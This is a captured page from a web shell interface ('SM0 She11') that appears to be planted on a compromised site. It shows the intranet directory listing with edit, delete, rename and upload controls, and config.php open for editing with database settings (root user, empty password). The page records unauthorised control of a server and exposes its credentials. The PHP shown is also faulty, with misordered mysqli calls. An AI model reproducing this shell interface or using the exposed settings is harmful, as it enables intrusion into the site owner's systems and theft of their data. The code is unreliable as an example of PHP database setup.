SM0 She11
Path:
/
/
home
/
saienerg
/
public_html
/
intra
Full Path (server): /home/saienerg/public_html/intra
Create Fil3
Upl04d Fil3
📄 ajax1.php
[E]
[D]
[R]
📄 article_list.php
[E]
[D]
[R]
📁 assets
Open
[D]
[R]
📁 career
Open
[D]
[R]
📄 career_enquiries.php
[E]
[D]
[R]
📄 cat_load.php
[E]
[D]
[R]
📁 change
Open
[D]
[R]
📄 cmn_lib.php
[E]
[D]
[R]
📄 common.php
[E]
[D]
[R]
📄 compressImage.php
[E]
[D]
[R]
📄 config.php
[E]
[D]
[R]
📁 css
Open
[D]
[R]
📁 dashboard
Open
[D]
[R]
📁 data
Open
[D]
[R]
📁 fonts
Open
[D]
[R]
📄 foo_scripts.php
[E]
[D]
[R]
📄 foo_scripts1.php
[E]
[D]
[R]
📄 footer.php
[E]
[D]
[R]
📄 footer1.php
[E]
[D]
[R]
📄 form.php
[E]
[D]
[R]
📁 gallery
Open
[D]
[R]
📄 getExtension.php
[E]
[D]
[R]
📄 header.php
[E]
[D]
[R]
📄 header1.php
[E]
[D]
[R]
📁 hrrepo
Open
[D]
[R]
📁 images
Open
[D]
[R]
📁 includes
Open
[D]
[R]
📄 index.php
[E]
[D]
[R]
📄 index1.php
[E]
[D]
[R]
📄 kis_config.php
[E]
[D]
[R]
📄 login.php
[E]
[D]
[R]
📄 logout.php
[E]
[D]
[R]
📁 masters
Open
[D]
[R]
📁 others
Open
[D]
[R]
📁 perfomances
Open
[D]
[R]
📁 products
Open
[D]
[R]
📄 products.js
[E]
[D]
[R]
📁 services
Open
[D]
[R]
📄 sidebar.php
[E]
[D]
[R]
📄 sidebar1.php
[E]
[D]
[R]
📄 spel_config.php
[E]
[D]
[R]
📄 top_nav.php
[E]
[D]
[R]
📄 top_nav1.php
[E]
[D]
[R]
📁 users
Open
[D]
[R]
Editing: config.php
<?php class SystemConfiguration { // Settings public static $base_url = 'http://localhost/work/kindus/intra'; public static $db_host = 'localhost'; public static $db_name = 'kindus'; public static $db_username = 'root'; public static $db_password = ''; } class ConnectionSettings { private $hostname = 'localhost'; private $username = 'root'; private $password = ''; private $db = 'kindus'; protected $connLink; // protected 'connect()' method protected function connect(){ // establish connection if(!$this->connLink = mysqli_connect($this->hostname, $this->username, $this->password)) { throw new Exception('Error connecting to MySQL: '.mysqli_error()); } // select database if(!mysqli_select_db($this->db, $this->connLink)) { throw new Exception('Error selecting database: '.mysqli_error()); } } } ?>
Save